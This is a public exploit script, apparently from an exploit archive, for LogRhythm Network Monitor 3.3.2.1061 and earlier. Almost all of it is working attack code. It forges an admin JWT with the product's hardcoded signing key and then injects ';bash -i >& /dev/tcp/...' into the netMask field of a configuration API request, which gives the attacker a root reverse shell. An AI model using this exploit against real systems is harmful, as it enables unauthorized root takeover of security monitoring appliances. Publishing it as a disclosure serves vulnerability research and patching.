LogRhythm Network Monitor – Authentication Bypass / Command Injection
# Exploit Title: LogRhythm Network Monitor Auth Bypass Root RCE # Public Disclosure Date: 24 Apr 2017 # Author: Francesco Oddo # Reference: http://security-assessment.com/files/documents/advisory/Logrhythm-NetMonitor-Advisory.pdf # Software Link: https://logrhythm.com/network-monitor-freemium/ # Version: 3.3.2.1061 (latest) or below # Tested On: nm_install_3.3.2.1061.iso with Freemium License (SHA256 7978f84e9fb18e2fae95f77a263801ca89b4767c95154b9ea874032081b02ce1) # Dependencies: `pip install PyJWT` import json import requests import argparse import time import jwt def forge_jwt(rhost): print "[+] Forging JWT authentication token" key = 'Gluten-free 100% narwhal deserunt polaroid; quinoa keytar asymmetrical slow-carb plaid occaecat nostrud green juice dolor!' iat = time.time() exp = iat + 3600; body = json.loads('{"iat":1479893930,"exp":1479894830,"data":{"username":"admin","licensed":true,"role":"admin","timeToResetPass":false}}') body["iat"] = int(iat) body["exp"] = int(exp) token = jwt.encode(body, key, algorithm='HS512'); return token def command_inject(rhost, lhost, lport, gwhost, ifname): uri = "https://%s/data/api/configuration/" % rhost json_body = json.loads('{"type":"network","configurations":[{"name":"interface","value":"","isToggle":false},{"name":"method","value":true,"isToggle":true},{"name":"ipAddress","value":"","isToggle":false},{"name":"netMask","value":"255.255.255.0","isToggle":false},{"name":"gateway","value":"","isToggle":false},{"name":"dnsServers","value":"","isToggle":false},{"name":"searchDomains","value":"","isToggle":false}],"diffFields":["dnsServers"]}') payload = ";bash -i >& /dev/tcp/%s/%s 0>&1" % (lhost, lport) json_body["configurations"][0]["value"] = ifname json_body["configurations"][2]["value"] = rhost json_body["configurations"][3]["value"] = payload json_body["configurations"][4]["value"] = gwhost json_body["configurations"][5]["value"] = gwhost jwt = forge_jwt(rhost) auth_header = {'Token': jwt} print "[+] Initiating reverse shell via command injection at %s:%s" % (lhost, lport) requests.post(url=uri, json=json_body, headers=auth_header, verify=False) if __name__ == '__main__': parser = argparse.ArgumentParser(description='LogRhythm Network Monitor Root Remote Command Execution PoC') parser.add_argument('--rhost', help='RHOST IP address') parser.add_argument('--lhost', help='LHOST IP address') parser.add_argument('--lport', help='LPORT') parser.add_argument('--gwhost', help='Gateway IP address') parser.add_argument('--ifname', help='Target Interface Identifier', default='enp0s3') args = parser.parse_args() command_inject(args.rhost, args.lhost, args.lport, args.gwhost, args.ifname) |